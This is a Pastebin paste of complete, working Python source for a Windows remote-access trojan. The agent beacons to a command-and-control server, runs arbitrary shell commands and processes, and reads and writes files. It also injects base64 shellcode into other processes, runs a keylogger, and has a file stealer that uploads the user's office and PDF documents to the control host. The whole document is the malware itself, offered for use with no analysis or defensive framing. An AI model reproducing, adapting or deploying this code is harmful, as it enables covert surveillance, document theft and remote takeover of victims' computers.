Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- import argparse
- import base64
- import ctypes
- import ctypes.wintypes
- import hashlib
- import json
- import os
- import ssl
- import subprocess
- import sys
- import threading
- import time
- import uuid
- from http.client import HTTPSConnection
- from typing import Dict, Any, Optional, List
- DEFAULT_C2_HOST = "127.0.0.1"
- DEFAULT_C2_PORT = 8443
- DEFAULT_C2_PATH = "/cmd"
- BEACON_INTERVAL = 10
- AGENT_ID = str(uuid.getnode())
- TASKS: Dict[str, Any] = {}
- TASK_LOCK = threading.Lock()
- KEYLOGGER_ACTIVE = False
- KEYLOGGER_THREAD: Optional[threading.Thread] = None
- FILE_STEALER_ACTIVE = False
- FILE_STEALER_THREAD: Optional[threading.Thread] = None
- STEAL_EXTS = {".doc", ".xls", ".ppt", ".rtf", ".pdf", ".docx", ".xlsx", ".pptx"}
- STEAL_ROOT = os.path.expanduser("~")
- STEAL_QUEUE: List[str] = []
- STEAL_LOCK = threading.Lock()
- UPLOAD_CHUNK_SIZE = 1024 * 1024
- COMMANDS = {
- 0xC033A4D: "COMMAND",
- 0xECEC: "EXEC",
- 0x6E17A585:"GETTASKS",
- 0x6177: "KILL",
- 0xF17E09: "FILE_WRITE",
- 0xF17ED0: "FILE_READ",
- 0x1213C7: "INJECT",
- 0xC04F: "CONF",
- 0xD1E: "DIE",
- 0xCD: "CD",
- 0x108: "JOB",
- }
- def log(msg: str) -> None:
- print(f"[{time.strftime('%H:%M:%S')}] {msg}")
- def compute_checksum(data: bytes) -> str:
- return hashlib.sha256(data).hexdigest()
- def safe_path(path: str) -> str:
- abs_path = os.path.abspath(path)
- cwd = os.path.abspath(os.getcwd())
- if not abs_path.startswith(cwd):
- raise PermissionError("Path traversal blocked")
- return abs_path
- def handle_COMMAND(payload: Dict[str, Any]) -> Dict[str, Any]:
- cmd = payload.get("cmd", "").strip()
- if not cmd:
- return {"status": "error", "msg": "empty cmd"}
- log(f"Executing (cmd.exe): {cmd}")
- try:
- result = subprocess.run(
- ["cmd.exe", "/c", cmd],
- capture_output=True,
- text=True,
- timeout=120,
- cwd=os.getcwd(),
- shell=True,
- )
- return {
- "status": "ok",
- "stdout": result.stdout[-8000:],
- "stderr": result.stderr[-4000:],
- "returncode": result.returncode,
- }
- except subprocess.TimeoutExpired:
- return {"status": "error", "msg": "command timeout"}
- except Exception as e:
- return {"status": "error", "msg": str(e)}
- def handle_EXEC(payload: Dict[str, Any]) -> Dict[str, Any]:
- exe = payload.get("exe", "").strip()
- args = payload.get("args", [])
- if not exe:
- return {"status": "error", "msg": "missing exe"}
- full_cmd = [exe] + [str(a) for a in args]
- log(f"Executing process: {' '.join(full_cmd)}")
- try:
- proc = subprocess.Popen(
- full_cmd,
- stdout=subprocess.PIPE,
- stderr=subprocess.PIPE,
- text=True,
- cwd=os.getcwd(),
- )
- task_id = str(uuid.uuid4())
- with TASK_LOCK:
- TASKS[task_id] = {"proc": proc, "thread": None}
- thread = threading.Thread(target=_wait_and_store, args=(proc, task_id), daemon=True)
- thread.start()
- TASKS[task_id]["thread"] = thread
- return {"status": "ok", "task_id": task_id}
- except Exception as e:
- return {"status": "error", "msg": str(e)}
- def _wait_and_store(proc: subprocess.Popen, task_id: str) -> None:
- try:
- stdout, stderr = proc.communicate(timeout=600)
- except subprocess.TimeoutExpired:
- proc.kill()
- stdout, stderr = proc.communicate()
- with TASK_LOCK:
- if task_id in TASKS:
- TASKS[task_id] = {
- "returncode": proc.returncode,
- "stdout": stdout[-8000:] if stdout else "",
- "stderr": stderr[-4000:] if stderr else "",
- "finished": True,
- }
- def handle_GETTASKS(_: Any) -> Dict[str, Any]:
- result = {}
- with TASK_LOCK:
- for tid, obj in TASKS.items():
- if isinstance(obj, dict) and obj.get("finished"):
- result[tid] = {
- "finished": True,
- "returncode": obj["returncode"],
- }
- else:
- result[tid] = {"finished": False}
- return {"status": "ok", "tasks": result}
- def handle_KILL(payload: Dict[str, Any]) -> Dict[str, Any]:
- tid = payload.get("task_id")
- if not tid:
- return {"status": "error", "msg": "missing task_id"}
- with TASK_LOCK:
- task = TASKS.get(tid)
- if not task:
- return {"status": "error", "msg": "unknown task"}
- if isinstance(task, dict) and "proc" in task:
- proc = task["proc"]
- if proc.poll() is None:
- proc.terminate()
- try:
- proc.wait(timeout=5)
- except subprocess.TimeoutExpired:
- proc.kill()
- del TASKS[tid]
- return {"status": "ok"}
- elif tid in TASKS:
- del TASKS[tid]
- return {"status": "ok"}
- return {"status": "error", "msg": "task not killable"}
- def handle_FILE_WRITE(payload: Dict[str, Any]) -> Dict[str, Any]:
- path = payload.get("path", "").strip()
- data_b64 = payload.get("data", "")
- append = bool(payload.get("append", False))
- if not path or not data_b64:
- return {"status": "error", "msg": "missing fields"}
- try:
- safe_p = safe_path(path)
- data = base64.b64decode(data_b64)
- mode = "ab" if append else "wb"
- with open(safe_p, mode) as f:
- f.write(data)
- return {"status": "ok", "checksum": compute_checksum(data), "size": len(data)}
- except Exception as e:
- return {"status": "error", "msg": str(e)}
- def handle_FILE_READ(payload: Dict[str, Any]) -> Dict[str, Any]:
- path = payload.get("path", "").strip()
- offset = payload.get("offset", 0)
- length = payload.get("length", 0)
- if not path:
- return {"status": "error", "msg": "missing path"}
- try:
- safe_p = safe_path(path)
- with open(safe_p, "rb") as f:
- if offset:
- f.seek(offset)
- data = f.read(length) if length else f.read()
- return {
- "status": "ok",
- "data": base64.b64encode(data).decode(),
- "checksum": compute_checksum(data),
- "size": len(data),
- "offset": offset,
- "total_size": os.path.getsize(safe_p),
- }
- except Exception as e:
- return {"status": "error", "msg": str(e)}
- def handle_INJECT(payload: Dict[str, Any]) -> Dict[str, Any]:
- shellcode_b64 = payload.get("shellcode", "")
- pid = payload.get("pid")
- if not shellcode_b64 or pid is None:
- return {"status": "error", "msg": "missing shellcode or pid"}
- try:
- shellcode = base64.b64decode(shellcode_b64)
- if len(shellcode) == 0:
- return {"status": "error", "msg": "empty shellcode"}
- process = ctypes.windll.kernel32.OpenProcess(0x1F0FFF, False, pid)
- if not process:
- return {"status": "error", "msg": f"OpenProcess failed: {ctypes.GetLastError()}"}
- addr = ctypes.windll.kernel32.VirtualAllocEx(
- process, 0, len(shellcode), 0x3000, 0x40
- )
- if not addr:
- err = ctypes.GetLastError()
- ctypes.windll.kernel32.CloseHandle(process)
- return {"status": "error", "msg": f"VirtualAllocEx failed: {err}"}
- written = ctypes.wintypes.SIZE_T()
- success = ctypes.windll.kernel32.WriteProcessMemory(
- process, addr, shellcode, len(shellcode), ctypes.byref(written)
- )
- if not success or written.value != len(shellcode):
- err = ctypes.GetLastError()
- ctypes.windll.kernel32.CloseHandle(process)
- return {"status": "error", "msg": f"WriteProcessMemory failed: {err}"}
- hThread = ctypes.windll.kernel32.CreateRemoteThread(
- process, None, 0, addr, None, 0, None
- )
- ctypes.windll.kernel32.CloseHandle(process)
- if not hThread:
- return {"status": "error", "msg": f"CreateRemoteThread failed: {ctypes.GetLastError()}"}
- return {"status": "ok", "injected": True, "thread_id": hThread}
- except Exception as e:
- return {"status": "error", "msg": f"inject failed: {e}"}
- def handle_CONF(payload: Dict[str, Any]) -> Dict[str, Any]:
- global DEFAULT_C2_HOST, DEFAULT_C2_PORT, DEFAULT_C2_PATH, BEACON_INTERVAL
- host = payload.get("host")
- port = payload.get("port")
- path = payload.get("path")
- interval = payload.get("interval")
- if host and isinstance(host, str): DEFAULT_C2_HOST = host.strip()
- if port and isinstance(port, int): DEFAULT_C2_PORT = port
- if path and isinstance(path, str): DEFAULT_C2_PATH = path.strip()
- if interval and isinstance(interval, int): BEACON_INTERVAL = max(1, interval)
- return {"status": "ok", "new_cfg": {
- "host": DEFAULT_C2_HOST,
- "port": DEFAULT_C2_PORT,
- "path": DEFAULT_C2_PATH,
- "interval": BEACON_INTERVAL,
- }}
- def handle_DIE(_: Any) -> Dict[str, Any]:
- log("DIE command received – shutting down")
- stop_background_jobs()
- time.sleep(1)
- os._exit(0)
- def handle_CD(payload: Dict[str, Any]) -> Dict[str, Any]:
- path = payload.get("path", "").strip()
- if not path:
- return {"status": "error", "msg": "missing path"}
- try:
- safe_p = safe_path(path)
- os.chdir(safe_p)
- return {"status": "ok", "cwd": os.getcwd()}
- except Exception as e:
- return {"status": "error", "msg": str(e)}
- def handle_JOB(payload: Dict[str, Any]) -> Dict[str, Any]:
- global KEYLOGGER_ACTIVE, FILE_STEALER_ACTIVE
- action = payload.get("action", "").lower()
- job_type = payload.get("type", "").lower()
- if action == "start":
- if job_type == "keylog":
- if not KEYLOGGER_ACTIVE:
- start_keylogger()
- return {"status": "ok", "job": "keylogger started"}
- elif job_type == "steal":
- root = payload.get("root", STEAL_ROOT)
- if not FILE_STEALER_ACTIVE:
- start_file_stealer(root)
- return {"status": "ok", "job": "file stealer started"}
- elif action == "stop":
- if job_type == "keylog" and KEYLOGGER_ACTIVE:
- stop_keylogger()
- return {"status": "ok", "job": "keylogger stopped"}
- elif job_type == "steal" and FILE_STEALER_ACTIVE:
- stop_file_stealer()
- return {"status": "ok", "job": "file stealer stopped"}
- return {"status": "error", "msg": "invalid job"}
- def start_keylogger() -> None:
- global KEYLOGGER_ACTIVE, KEYLOGGER_THREAD
- KEYLOGGER_ACTIVE = True
- KEYLOGGER_THREAD = threading.Thread(target=_keylogger_worker, daemon=True)
- KEYLOGGER_THREAD.start()
- log("Keylogger started")
- def stop_keylogger() -> None:
- global KEYLOGGER_ACTIVE
- KEYLOGGER_ACTIVE = False
- log("Keylogger stopped")
- def _keylogger_worker() -> None:
- try:
- import pythoncom
- import pyHook
- import win32api
- except ImportError:
- log("Keylogger dependencies missing")
- return
- def on_keyboard_event(event):
- if not KEYLOGGER_ACTIVE:
- return False
- key = event.Key
- if key not in ["Lshift", "Rshift", "Capital", "Lcontrol", "Rcontrol", "Lmenu", "Rmenu"]:
- log(f"KEY: {key}")
- return True
- hm = pyHook.HookManager()
- hm.KeyDown = on_keyboard_event
- hm.HookKeyboard()
- while KEYLOGGER_ACTIVE:
- try:
- pythoncom.PumpMessages(0.1)
- except:
- break
- hm.UnhookKeyboard()
- def start_file_stealer(root: str) -> None:
- global FILE_STEALER_ACTIVE, FILE_STEALER_THREAD, STEAL_ROOT
- STEAL_ROOT = root
- FILE_STEALER_ACTIVE = True
- FILE_STEALER_THREAD = threading.Thread(target=_file_stealer_worker, daemon=True)
- FILE_STEALER_THREAD.start()
- log(f"File stealer started: {root}")
- def stop_file_stealer() -> None:
- global FILE_STEALER_ACTIVE
- FILE_STEALER_ACTIVE = False
- log("File stealer stopped")
- def _file_stealer_worker() -> None:
- while FILE_STEALER_ACTIVE:
- found = []
- for root, _, files in os.walk(STEAL_ROOT):
- if not FILE_STEALER_ACTIVE:
- break
- for f in files:
- if any(f.lower().endswith(ext) for ext in STEAL_EXTS):
- full_path = os.path.join(root, f)
- if full_path not in STEAL_QUEUE:
- found.append(full_path)
- for path in found:
- if not FILE_STEALER_ACTIVE:
- break
- with STEAL_LOCK:
- if path not in STEAL_QUEUE:
- STEAL_QUEUE.append(path)
- upload_file_in_chunks(path)
- time.sleep(60)
- def upload_file_in_chunks(path: str) -> None:
- try:
- size = os.path.getsize(path)
- if size > 50 * 1024 * 1024:
- log(f"Skipping large file: {path}")
- return
- conn = HTTPSConnection(DEFAULT_C2_HOST, DEFAULT_C2_PORT, context=ssl._create_unverified_context(), timeout=30)
- with open(path, "rb") as f:
- chunk_id = 0
- while True:
- data = f.read(UPLOAD_CHUNK_SIZE)
- if not data:
- break
- payload = {
- "agent_id": AGENT_ID,
- "type": "file_chunk",
- "path": path,
- "chunk_id": chunk_id,
- "total_size": size,
- "data": base64.b64encode(data).decode(),
- }
- headers = {"Content-Type": "application/json"}
- conn.request("POST", DEFAULT_C2_PATH + "/upload", json.dumps(payload).encode(), headers)
- resp = conn.getresponse()
- resp.read()
- chunk_id += 1
- conn.close()
- log(f"Uploaded: {path}")
- except Exception as e:
- log(f"Upload failed {path}: {e}")
- def stop_background_jobs() -> None:
- global KEYLOGGER_ACTIVE, FILE_STEALER_ACTIVE
- KEYLOGGER_ACTIVE = False
- FILE_STEALER_ACTIVE = False
- time.sleep(1)
- HANDLERS = {
- "COMMAND": handle_COMMAND,
- "EXEC": handle_EXEC,
- "GETTASKS": handle_GETTASKS,
- "KILL": handle_KILL,
- "FILE_WRITE": handle_FILE_WRITE,
- "FILE_READ": handle_FILE_READ,
- "INJECT": handle_INJECT,
- "CONF": handle_CONF,
- "DIE": handle_DIE,
- "CD": handle_CD,
- "JOB": handle_JOB,
- }
- def dispatch(opcode: int, payload: Dict[str, Any]) -> Dict[str, Any]:
- cmd_name = COMMANDS.get(opcode)
- if not cmd_name:
- return {"status": "error", "msg": f"unknown opcode 0x{opcode:08X}"}
- handler = HANDLERS.get(cmd_name)
- if not handler:
- return {"status": "error", "msg": f"no handler for {cmd_name}"}
- return handler(payload)
- def beacon(conn: HTTPSConnection) -> Optional[Dict[str, Any]]:
- headers = {
- "User-Agent": "EduAgent/1.0",
- "X-Agent-ID": AGENT_ID,
- "Content-Type": "application/json",
- }
- body = json.dumps({
- "agent_id": AGENT_ID,
- "cwd": os.getcwd(),
- "timestamp": int(time.time()),
- "tasks": len(TASKS),
- "hostname": os.getenv("COMPUTERNAME", "unknown"),
- }).encode()
- try:
- conn.request("POST", DEFAULT_C2_PATH, body=body, headers=headers)
- resp = conn.getresponse()
- if resp.status != 200:
- return None
- data = resp.read()
- return json.loads(data.decode())
- except Exception as e:
- log(f"Beacon error: {e}")
- return None
- def send_result(conn: HTTPSConnection, task_id: str, result: Dict[str, Any]) -> None:
- payload = {
- "agent_id": AGENT_ID,
- "task_id": task_id,
- "result": result,
- "timestamp": int(time.time()),
- }
- headers = {"Content-Type": "application/json"}
- try:
- conn.request("POST", DEFAULT_C2_PATH + "/result", json.dumps(payload).encode(), headers)
- conn.getresponse().read()
- except Exception:
- pass
- def main() -> None:
- parser = argparse.ArgumentParser()
- parser.add_argument("--host", default=DEFAULT_C2_HOST)
- parser.add_argument("--port", type=int, default=DEFAULT_C2_PORT)
- parser.add_argument("--path", default=DEFAULT_C2_PATH)
- parser.add_argument("--id", type=str, help="Custom agent ID")
- args = parser.parse_args()
- global DEFAULT_C2_HOST, DEFAULT_C2_PORT, DEFAULT_C2_PATH, AGENT_ID
- DEFAULT_C2_HOST = args.host
- DEFAULT_C2_PORT = args.port
- DEFAULT_C2_PATH = args.path
- if args.id:
- AGENT_ID = args.id
- ctx = ssl._create_unverified_context()
- log(f"Agent {AGENT_ID} starting – https://{DEFAULT_C2_HOST}:{DEFAULT_C2_PORT}{DEFAULT_C2_PATH}")
- while True:
- conn = HTTPSConnection(DEFAULT_C2_HOST, DEFAULT_C2_PORT, context=ctx, timeout=30)
- try:
- cmd_packet = beacon(conn)
- if cmd_packet and "opcode" in cmd_packet:
- opcode = cmd_packet["opcode"]
- task_id = cmd_packet.get("task_id", str(uuid.uuid4()))
- payload = cmd_packet.get("payload", {})
- result = dispatch(opcode, payload)
- send_result(conn, task_id, result)
- else:
- time.sleep(BEACON_INTERVAL)
- except KeyboardInterrupt:
- log("Interrupted")
- stop_background_jobs()
- break
- except Exception as e:
- log(f"Loop error: {e}")
- time.sleep(BEACON_INTERVAL)
- finally:
- conn.close()
- if __name__ == "__main__":
- main()
Add Comment
Please, Sign In to add comment